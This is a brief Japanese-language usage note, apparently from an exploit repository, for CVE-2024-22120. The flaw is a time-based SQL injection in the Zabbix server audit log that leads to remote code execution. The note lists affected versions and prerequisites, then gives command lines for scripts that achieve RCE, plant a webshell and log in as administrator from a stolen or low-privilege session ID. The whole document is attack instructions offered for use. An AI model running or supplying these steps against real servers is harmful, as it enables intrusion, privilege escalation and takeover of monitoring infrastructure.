
Zabbixサーバーの監査ログにおける時間ベースのSQLインジェクション --> RCE
6.0.0 - 6.0.27
6.4.0 - 6.4.12
7.0.0alpha1
https://packetstormsecurity.com/files/137454/Zabbix-3.0.3-Remote-Command-Execution.html
低権限ユーザー
スクリプト実行権限がある

sessionidとhostidを取得するためにパケットをキャプチャします:

python -m pip install requests pwntools
python CVE-2024-22120-RCE.py --ip 192.168.198.136 --sid f026d1c7a3c36537cfe78fed35c7456a --hostid 10084

管理者権限ユーザーのセッションIDを既に持っている場合は、以下を試してください:
python CVE-2024-22120-Webshell.py --ip 192.168.198.136 --aid fe647173d7769d55a43f161a68b256e0 --hostid 10084 --file shell.php
そうでない場合:
python CVE-2024-22120-Webshell.py --ip 192.168.198.136 --sid f026d1c7a3c36537cfe78fed35c7456a --hostid 10084 --shell shell.php
しかし、ほとんどの場合、echoを使用してウェブシェルに書き込むことはできません。実行ユーザーがzabbixだからです:

python CVE-2024-22120-LoginAsAdmin.py --ip 192.168.198.136 --sid decf4ef56988027d62ca1db2a00d8346 --hostid 10084

テスト:

置き換えてからリフレッシュ:

管理者としてログイン!!!
